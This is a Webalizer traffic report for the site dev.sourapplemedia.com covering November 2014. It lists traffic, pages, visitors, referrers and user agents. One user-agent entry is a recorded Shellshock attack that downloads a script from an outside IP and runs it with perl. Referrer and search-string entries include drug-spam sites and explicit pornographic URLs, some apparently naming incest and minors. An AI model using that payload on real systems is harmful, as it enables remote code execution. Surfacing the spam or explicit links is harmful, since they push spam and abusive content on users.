Usage Statistics for dev.sourapplemedia.com

Summary Period: November 2014
Generated 01-Dec-2014 02:30 EST

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for November 2014
Total Hits 86942
Total Files 53590
Total Pages 53177
Total Visits 23986
Total KBytes 5296645
Total Unique Sites 2817
Total Unique URLs 1298
Total Unique Referrers 1183
Total Unique User Agents 673
. Avg Max
Hits per Hour 120 732
Hits per Day 2898 4006
Files per Day 1786 2764
Pages per Day 1772 2728
Sites per Day 93 360
Visits per Day 799 1056
KBytes per Day 176555 271767
Hits by Response Code
Code 200 - OK 61.64% 53590
Code 206 - Partial Content 0.00% 2
Code 301 - Moved Permanently 0.41% 357
Code 302 - Found 31.54% 27422
Code 304 - Not Modified 0.88% 766
Code 400 - Bad Request 0.04% 38
Code 403 - Forbidden 0.74% 641
Code 404 - Not Found 4.02% 3496
Code 408 - Request Timeout 0.00% 3
Code 500 - Internal Server Error 0.72% 624
Code 501 - Not Implemented 0.00% 3

Daily usage for November 2014

Daily Statistics for November 2014
Day Hits Files Pages Visits Sites KBytes
1 3556 4.09% 2093 3.91% 2021 3.80% 1056 4.40% 256 9.09% 221810 4.19%
2 3499 4.02% 2073 3.87% 2013 3.79% 1041 4.34% 281 9.98% 221824 4.19%
3 3261 3.75% 2239 4.18% 2124 3.99% 795 3.31% 256 9.09% 231495 4.37%
4 2565 2.95% 1636 3.05% 1386 2.61% 692 2.89% 220 7.81% 148791 2.81%
5 3335 3.84% 1961 3.66% 1880 3.54% 952 3.97% 271 9.62% 200248 3.78%
6 2460 2.83% 1526 2.85% 1407 2.65% 777 3.24% 251 8.91% 155697 2.94%
7 2957 3.40% 1461 2.73% 1928 3.63% 829 3.46% 258 9.16% 154407 2.92%
8 2894 3.33% 1470 2.74% 1817 3.42% 812 3.39% 235 8.34% 157882 2.98%
9 1977 2.27% 896 1.67% 1289 2.42% 559 2.33% 207 7.35% 93397 1.76%
10 2822 3.25% 1675 3.13% 1553 2.92% 823 3.43% 230 8.16% 167259 3.16%
11 3468 3.99% 2158 4.03% 2106 3.96% 978 4.08% 251 8.91% 225562 4.26%
12 3615 4.16% 1975 3.69% 2351 4.42% 907 3.78% 271 9.62% 194427 3.67%
13 2548 2.93% 1492 2.78% 1395 2.62% 797 3.32% 261 9.27% 146107 2.76%
14 2541 2.92% 1530 2.86% 1427 2.68% 755 3.15% 245 8.70% 155977 2.94%
15 2240 2.58% 1298 2.42% 1286 2.42% 758 3.16% 203 7.21% 136320 2.57%
16 2097 2.41% 1242 2.32% 1246 2.34% 719 3.00% 238 8.45% 123381 2.33%
17 3309 3.81% 2391 4.46% 2376 4.47% 742 3.09% 248 8.80% 237666 4.49%
18 2368 2.72% 1403 2.62% 1383 2.60% 739 3.08% 220 7.81% 138811 2.62%
19 2592 2.98% 1562 2.91% 1501 2.82% 721 3.01% 216 7.67% 156359 2.95%
20 2943 3.39% 1783 3.33% 1394 2.62% 702 2.93% 252 8.95% 150759 2.85%
21 2929 3.37% 1747 3.26% 1706 3.21% 794 3.31% 230 8.16% 165264 3.12%
22 2732 3.14% 1659 3.10% 1636 3.08% 812 3.39% 234 8.31% 153643 2.90%
23 2643 3.04% 1633 3.05% 1616 3.04% 746 3.11% 240 8.52% 151011 2.85%
24 2037 2.34% 1285 2.40% 1220 2.29% 618 2.58% 239 8.48% 113659 2.15%
25 2695 3.10% 1729 3.23% 1714 3.22% 796 3.32% 258 9.16% 164728 3.11%
26 2342 2.69% 1679 3.13% 1631 3.07% 645 2.69% 235 8.34% 160896 3.04%
27 3540 4.07% 2423 4.52% 2367 4.45% 770 3.21% 283 10.05% 240748 4.55%
28 3824 4.40% 2669 4.98% 2629 4.94% 935 3.90% 342 12.14% 254756 4.81%
29 4006 4.61% 2764 5.16% 2728 5.13% 964 4.02% 360 12.78% 271767 5.13%
30 3147 3.62% 2138 3.99% 2047 3.85% 841 3.51% 342 12.14% 201992 3.81%

Hourly usage for November 2014

Hourly Statistics for November 2014
Hour Hits Files Pages KBytes
Avg Total Avg Total Avg Total Avg Total
0 96 2905 3.34% 60 1824 3.40% 58 1764 3.32% 5921 177644 3.35%
1 91 2737 3.15% 58 1741 3.25% 58 1741 3.27% 5912 177346 3.35%
2 86 2599 2.99% 54 1646 3.07% 53 1596 3.00% 5369 161064 3.04%
3 122 3679 4.23% 86 2584 4.82% 83 2501 4.70% 8503 255096 4.82%
4 113 3411 3.92% 75 2275 4.25% 74 2238 4.21% 7549 226461 4.28%
5 106 3192 3.67% 66 1981 3.70% 66 1999 3.76% 6615 198437 3.75%
6 95 2859 3.29% 56 1689 3.15% 57 1732 3.26% 5543 166302 3.14%
7 87 2610 3.00% 55 1676 3.13% 52 1574 2.96% 5368 161026 3.04%
8 97 2919 3.36% 63 1907 3.56% 65 1959 3.68% 6147 184401 3.48%
9 96 2904 3.34% 63 1904 3.55% 60 1807 3.40% 6085 182553 3.45%
10 123 3709 4.27% 78 2340 4.37% 74 2221 4.18% 7519 225580 4.26%
11 112 3362 3.87% 71 2154 4.02% 66 1994 3.75% 6975 209245 3.95%
12 130 3928 4.52% 76 2292 4.28% 80 2424 4.56% 7357 220697 4.17%
13 126 3791 4.36% 79 2384 4.45% 76 2280 4.29% 7907 237210 4.48%
14 152 4563 5.25% 93 2803 5.23% 87 2616 4.92% 9125 273741 5.17%
15 154 4649 5.35% 95 2850 5.32% 91 2740 5.15% 9687 290602 5.49%
16 157 4716 5.42% 96 2895 5.40% 85 2555 4.80% 9028 270835 5.11%
17 164 4922 5.66% 90 2722 5.08% 100 3000 5.64% 9273 278181 5.25%
18 152 4589 5.28% 91 2739 5.11% 88 2659 5.00% 9369 281076 5.31%
19 154 4635 5.33% 85 2569 4.79% 97 2915 5.48% 8673 260202 4.91%
20 158 4749 5.46% 89 2671 4.98% 101 3043 5.72% 8700 260997 4.93%
21 115 3451 3.97% 71 2156 4.02% 70 2100 3.95% 7189 215659 4.07%
22 107 3214 3.70% 66 2007 3.75% 65 1962 3.69% 6684 200519 3.79%
23 94 2849 3.28% 59 1781 3.32% 58 1757 3.30% 6059 181772 3.43%

Top 30 of 1298 Total URLs
# Hits KBytes URL
1 8476 9.75% 960627 18.14% /claremont/so-you-think-you-can-dance-finale/
2 8174 9.40% 966788 18.25% /claremont/number-10-blurb-wedding-albums/
3 8039 9.25% 940816 17.76% /claremont/wedding-blog-fibbers/
4 6042 6.95% 619719 11.70% /claremont/sytycd-week-5-elimination/
5 3446 3.96% 364549 6.88% /claremont/sytycd-top-12/
6 2463 2.83% 4401 0.08% /
7 2247 2.58% 256347 4.84% /webalizer/usage_201402.html
8 997 1.15% 8736 0.16% /webalizer/
9 924 1.06% 96092 1.81% /claremont/feeling-gleeful/
10 654 0.75% 73942 1.40% /claremont/falling-in-and-out-of-love/
11 639 0.73% 69267 1.31% /claremont/dreamy-kitchen/
12 615 0.71% 79418 1.50% /claremont/guest-post-a-starter-course-for-new-runners-or-how-to-run-without-falling-over-really/
13 474 0.55% 60862 1.15% /webalizer/usage_201410.html
14 353 0.41% 1436 0.03% /innovatient/innov-linkedin.png
15 353 0.41% 1837 0.03% /innovatient/innov-logo.png
16 350 0.40% 1415 0.03% /innovatient/innov-twitter.png
17 344 0.40% 17901 0.34% /innovatient/innnov-headercrown.png
18 340 0.39% 773 0.01% /innovatient/paper-curl.png
19 334 0.38% 1426 0.03% /innovatient/innov-footerdomain.png
20 299 0.34% 33634 0.64% /claremont/so-you-think-you-can-dance-is-back/
21 240 0.28% 359 0.01% /claremont/clever-clipboards/feed/
22 228 0.26% 22607 0.43% /claremont/clever-clipboards/
23 225 0.26% 702 0.01% /patriots/wp-login.php
24 163 0.19% 0 0.00% /claremont/wp-cron.php
25 159 0.18% 18935 0.36% /claremont/little-bee/
26 159 0.18% 19478 0.37% /webalizer/usage_201411.html
27 147 0.17% 16078 0.30% /claremont/wee-little-stitches/
28 140 0.16% 15820 0.30% /claremont/in-the-bag/
29 123 0.14% 19093 0.36% /claremont/five-years-ago-a-personal-story/
30 119 0.14% 4530 0.09% /claremont/

Top 10 of 1298 Total URLs By KBytes
# Hits KBytes URL
1 8174 9.40% 966788 18.25% /claremont/number-10-blurb-wedding-albums/
2 8476 9.75% 960627 18.14% /claremont/so-you-think-you-can-dance-finale/
3 8039 9.25% 940816 17.76% /claremont/wedding-blog-fibbers/
4 6042 6.95% 619719 11.70% /claremont/sytycd-week-5-elimination/
5 3446 3.96% 364549 6.88% /claremont/sytycd-top-12/
6 2247 2.58% 256347 4.84% /webalizer/usage_201402.html
7 924 1.06% 96092 1.81% /claremont/feeling-gleeful/
8 615 0.71% 79418 1.50% /claremont/guest-post-a-starter-course-for-new-runners-or-how-to-run-without-falling-over-really/
9 654 0.75% 73942 1.40% /claremont/falling-in-and-out-of-love/
10 639 0.73% 69267 1.31% /claremont/dreamy-kitchen/

Top 10 of 808 Total Entry Pages
# Hits Visits URL
1 8476 9.75% 5471 23.04% /claremont/so-you-think-you-can-dance-finale/
2 6042 6.95% 3567 15.02% /claremont/sytycd-week-5-elimination/
3 8174 9.40% 3287 13.84% /claremont/number-10-blurb-wedding-albums/
4 3446 3.96% 2555 10.76% /claremont/sytycd-top-12/
5 8039 9.25% 2164 9.11% /claremont/wedding-blog-fibbers/
6 2463 2.83% 1515 6.38% /
7 924 1.06% 789 3.32% /claremont/feeling-gleeful/
8 654 0.75% 350 1.47% /claremont/falling-in-and-out-of-love/
9 639 0.73% 345 1.45% /claremont/dreamy-kitchen/
10 119 0.14% 186 0.78% /claremont/

Top 10 of 803 Total Exit Pages
# Hits Visits URL
1 8039 9.25% 5454 22.98% /claremont/wedding-blog-fibbers/
2 8174 9.40% 4343 18.30% /claremont/number-10-blurb-wedding-albums/
3 8476 9.75% 3380 14.24% /claremont/so-you-think-you-can-dance-finale/
4 3446 3.96% 2550 10.74% /claremont/sytycd-top-12/
5 2463 2.83% 1508 6.35% /
6 6042 6.95% 1316 5.54% /claremont/sytycd-week-5-elimination/
7 924 1.06% 787 3.32% /claremont/feeling-gleeful/
8 654 0.75% 350 1.47% /claremont/falling-in-and-out-of-love/
9 639 0.73% 340 1.43% /claremont/dreamy-kitchen/
10 119 0.14% 182 0.77% /claremont/

Top 30 of 2817 Total Sites
# Hits Files KBytes Visits Hostname
1 2207 2.54% 2207 4.12% 252008 4.76% 2 0.01% 31.184.238.152
2 1900 2.19% 1208 2.25% 22631 0.43% 0 0.00% 74.116.90.15.ip.verticalresponse.com
3 1020 1.17% 1020 1.90% 17787 0.34% 77 0.32% 212-129-33-212.rev.poneytelecom.eu
4 1001 1.15% 991 1.85% 101612 1.92% 1 0.00% 162.243.242.251
5 621 0.71% 420 0.78% 48802 0.92% 110 0.46% 107.250.153.27.broad.pt.fj.dynamic.163data.com.cn
6 621 0.71% 417 0.78% 48460 0.91% 112 0.47% 134.198.78.125.broad.pt.fj.dynamic.163data.com.cn
7 605 0.70% 303 0.57% 31724 0.60% 226 0.94% 62-210-89-12.rev.poneytelecom.eu
8 592 0.68% 396 0.74% 46012 0.87% 116 0.48% 17.185.153.27.broad.pt.fj.dynamic.163data.com.cn
9 578 0.66% 438 0.82% 44750 0.84% 147 0.61% 208-115-111-72-reverse.wowrack.com
10 573 0.66% 352 0.66% 39868 0.75% 62 0.26% 72-46-131.unassigned.userdns.com
11 566 0.65% 435 0.81% 44333 0.84% 131 0.55% 208.115.113.88
12 553 0.64% 370 0.69% 43038 0.81% 94 0.39% 24.208.153.27.broad.pt.fj.dynamic.163data.com.cn
13 509 0.59% 255 0.48% 28762 0.54% 160 0.67% 76-164-216.unassigned.userdns.com
14 507 0.58% 0 0.00% 323 0.01% 1 0.00% 12.104.97.211
15 501 0.58% 335 0.63% 37733 0.71% 59 0.25% 72-46-135.static.versaweb.net
16 479 0.55% 320 0.60% 36123 0.68% 74 0.31% renji.silentsong.net
17 473 0.54% 299 0.56% 33248 0.63% 111 0.46% 150.238.153.27.broad.pt.fj.dynamic.163data.com.cn
18 472 0.54% 316 0.59% 36725 0.69% 95 0.40% 110.82.171.180
19 470 0.54% 237 0.44% 26755 0.51% 152 0.63% 173.208.194.114
20 468 0.54% 422 0.79% 30781 0.58% 236 0.98% crawl-66-249-69-213.googlebot.com
21 468 0.54% 419 0.78% 32619 0.62% 244 1.02% crawl-66-249-69-229.googlebot.com
22 467 0.54% 433 0.81% 32953 0.62% 227 0.95% crawl-66-249-69-197.googlebot.com
23 450 0.52% 6 0.01% 290 0.01% 2 0.01% mon.mmi.vinakomcd.com
24 441 0.51% 441 0.82% 56625 1.07% 147 0.61% 188.123.248.103
25 437 0.50% 292 0.54% 33917 0.64% 87 0.36% 66.207.153.27.broad.pt.fj.dynamic.163data.com.cn
26 425 0.49% 287 0.54% 32754 0.62% 84 0.35% 209.132.82.110.broad.pt.fj.dynamic.163data.com.cn
27 411 0.47% 5 0.01% 266 0.01% 1 0.00% genesis.ua
28 411 0.47% 5 0.01% 266 0.01% 1 0.00% ip-88.109.99.192.4ghost.com
29 399 0.46% 399 0.74% 0 0.00% 0 0.00% 50.6.230.220
30 387 0.45% 260 0.49% 28745 0.54% 86 0.36% 238.137.153.27.broad.pt.fj.dynamic.163data.com.cn

Top 10 of 2817 Total Sites By KBytes
# Hits Files KBytes Visits Hostname
1 2207 2.54% 2207 4.12% 252008 4.76% 2 0.01% 31.184.238.152
2 1001 1.15% 991 1.85% 101612 1.92% 1 0.00% 162.243.242.251
3 441 0.51% 441 0.82% 56625 1.07% 147 0.61% 188.123.248.103
4 621 0.71% 420 0.78% 48802 0.92% 110 0.46% 107.250.153.27.broad.pt.fj.dynamic.163data.com.cn
5 621 0.71% 417 0.78% 48460 0.91% 112 0.47% 134.198.78.125.broad.pt.fj.dynamic.163data.com.cn
6 592 0.68% 396 0.74% 46012 0.87% 116 0.48% 17.185.153.27.broad.pt.fj.dynamic.163data.com.cn
7 578 0.66% 438 0.82% 44750 0.84% 147 0.61% 208-115-111-72-reverse.wowrack.com
8 566 0.65% 435 0.81% 44333 0.84% 131 0.55% 208.115.113.88
9 553 0.64% 370 0.69% 43038 0.81% 94 0.39% 24.208.153.27.broad.pt.fj.dynamic.163data.com.cn
10 573 0.66% 352 0.66% 39868 0.75% 62 0.26% 72-46-131.unassigned.userdns.com

Top 30 of 1183 Total Referrers
# Hits Referrer
1 47094 54.17% - (Direct Request)
2 1221 1.40% ()
3 753 0.87% https://www.google.com/search
4 430 0.49% http://www.theknot.com/wedding/celexa-purchasing
5 425 0.49% http://www.theknot.com/wedding/purchase-bupronsr
6 350 0.40% http://www.theknot.com/wedding/online-furoxone
7 253 0.29% http://g3ivermectin3mg.enjin.com
8 247 0.28% http://order-naltrexone-no-prescription.soup.io
9 237 0.27% http://www.xolodremont.ru/master_po_remontu_holodilnikov.html
10 223 0.26% http://ordersuperavanaonlinequickdelivery.soup.io
11 189 0.22% http://buykeflexonline.forumcircle.com
12 180 0.21% https://twitter.com/esif22
13 160 0.18% https://vk.com/page-74059968_48349947
14 140 0.16% https://plus.google.com/+AndreyEsipov/posts
15 138 0.16% http://www.gorodservis.ru
16 135 0.16% http://mobilegamenews.ru/dark-age-
17 90 0.10% http://www.wattpad.com/user/lnehanuler
18 84 0.10% http://iphone-6.moykrest.ru
19 76 0.09% https://putin.moykrest.ru
20 72 0.08% http://shop.spbdyet.ru/
21 70 0.08% http://mobilegamenews.ru/
22 64 0.07% http://incity.afdfloral.com/
23 63 0.07% http://www.xolodremont.ru/
24 48 0.06% http://hosted-p0.vresp.com/1838943/62c0271abc/ARCHIVE
25 42 0.05% http://hosted.verticalresponse.com/1838943/1c15f8b9e3/TEST/TEST/
26 41 0.05% http://thepaige.net/projects/
27 26 0.03% http://50.6.230.220/maddyk/
28 24 0.03% http://thepaige.net/
29 20 0.02% https://vk.com/page-74059968_48349229
30 18 0.02% http://hosted.verticalresponse.com/1838943/c68085972a/TEST/TEST/

Top 20 of 152 Total Search Strings
# Hits Search String
1 4 0.66% http://autovim.ru/belyj-paren-ebet-negrityanku
2 4 0.66% http://autovim.ru/zhenshhina-skachet-na-chlene
3 4 0.66% http://b-gs.ru/devushka-s-goloj-zhopoj-sidit-na-stule-i-poziruet-eyu-a-tak-zhe-pisej
4 4 0.66% http://b-gs.ru/goryachaya-devushka-s-shikarnym-telom-polnostyu-razdelas
5 4 0.66% http://b-gs.ru/maria-ryabushkina-masturbiruet-kisku-v-lesu
6 4 0.66% http://b-gs.ru/molodaya-devushka-u-ginekologa
7 4 0.66% http://b-gs.ru/muzhik-tiskaet-grud-babe-a-ona-masturbiruet-emu-chlen-siskami
8 4 0.66% http://b-gs.ru/rajli-rid-video-s-klassnym-minetom-i-eblej-ogromnym-xuem
9 4 0.66% http://b-gs.ru/russkaya-xudenkaya-bryunetka-soset-xuj-i-podstavlyaet-pizdu-s-ochkom
10 4 0.66% http://b-gs.ru/soset-i-saditsya-na-bolshoj-rezinovyj-chlen
11 4 0.66% http://b-gs.ru/tara-lynn-foxx-podstavlyaet-ebaryu-pizdu-i-zhopu
12 4 0.66% http://b-gs.ru/trax-v-ofise-s-grudastoj-nemolodoj-biznes-ledi
13 4 0.66% http://b-gs.ru/traxnul-na-prirode-vozle-doma
14 4 0.66% http://baseclimbing.ru/molodye-traxayutsya-na-krovati
15 4 0.66% http://baseclimbing.ru/otodral-grudastuyu-madam-v-popku
16 4 0.66% http://baseclimbing.ru/zhestkaya-masturbaciya
17 4 0.66% http://blogdark.ru/lyubitelskij-seks-na-prirode
18 4 0.66% http://blogdark.ru/malenkaya-devochka-otsosala-u-brata
19 4 0.66% http://blogdark.ru/mamasha-pereputala-komnatu-syna
20 4 0.66% http://blogdark.ru/na-russkom-mama-uchit-syna

Top 15 of 673 Total User Agents
# Hits User Agent
1 12855 14.79% Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )
2 12306 14.15% Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.
3 12180 14.01% Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.
4 12105 13.92% Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
5 12024 13.83% Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
6 1900 2.19% VRPS/$Rev: 43290 $
7 1524 1.75% Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
8 1279 1.47% Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
9 1264 1.45% Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; TencentTraveler ; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
10 1144 1.32% Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)
11 1034 1.19% Mozilla/5.0 (compatible; linkdexbot/2.0; +http://www.linkdex.com/bots/)
12 1022 1.18% Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
13 1001 1.15% Mozilla/5.0 (compatible; spbot/4.4.0; +http://OpenLinkProfiler.org/bot )
14 997 1.15% Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
15 748 0.86% () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl

Usage by Country for November 2014

Top 30 of 57 Total Countries
# Hits Files KBytes Country
1 53215 61.21% 30244 56.44% 3378439 63.78% China
2 16267 18.71% 11649 21.74% 1168101 22.05% Unresolved/Unknown
3 9641 11.09% 6160 11.49% 438065 8.27% Commercial (com)
4 3421 3.93% 2495 4.66% 193818 3.66% Network (net)
5 2025 2.33% 1542 2.88% 68388 1.29% European Union
6 1213 1.40% 805 1.50% 14049 0.27% Ukraine
7 335 0.39% 245 0.46% 4848 0.09% Russian Federation
8 215 0.25% 112 0.21% 12430 0.23% Brazil
9 175 0.20% 79 0.15% 3477 0.07% Germany
10 71 0.08% 64 0.12% 1449 0.03% Romania
11 46 0.05% 44 0.08% 1885 0.04% Japan
12 45 0.05% 2 0.00% 147 0.00% Cocos (Keeling) Islands
13 25 0.03% 11 0.02% 772 0.01% Netherlands
14 21 0.02% 19 0.04% 63 0.00% Lithuania
15 19 0.02% 14 0.03% 1605 0.03% Poland
16 17 0.02% 10 0.02% 894 0.02% Italy
17 15 0.02% 7 0.01% 821 0.02% Non-Profit (org)
18 14 0.02% 0 0.00% 1 0.00% Malaysia
19 13 0.01% 8 0.01% 546 0.01% Belgium
20 11 0.01% 9 0.02% 74 0.00% Viet Nam
21 10 0.01% 7 0.01% 697 0.01% Switzerland
22 10 0.01% 6 0.01% 493 0.01% France
23 9 0.01% 3 0.01% 224 0.00% Address Routing (arpa)
24 9 0.01% 3 0.01% 155 0.00% Argentina
25 8 0.01% 5 0.01% 12 0.00% British Indian Ocean Territory
26 8 0.01% 4 0.01% 489 0.01% Mexico
27 8 0.01% 8 0.01% 955 0.02% Singapore
28 8 0.01% 2 0.00% 164 0.00% Turkey
29 6 0.01% 4 0.01% 457 0.01% India
30 5 0.01% 4 0.01% 226 0.00% Educational (edu)


Generated by Webalizer Version 2.20